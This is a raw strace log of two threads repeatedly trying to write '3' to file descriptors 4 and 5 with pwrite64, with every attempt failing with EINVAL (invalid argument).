[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
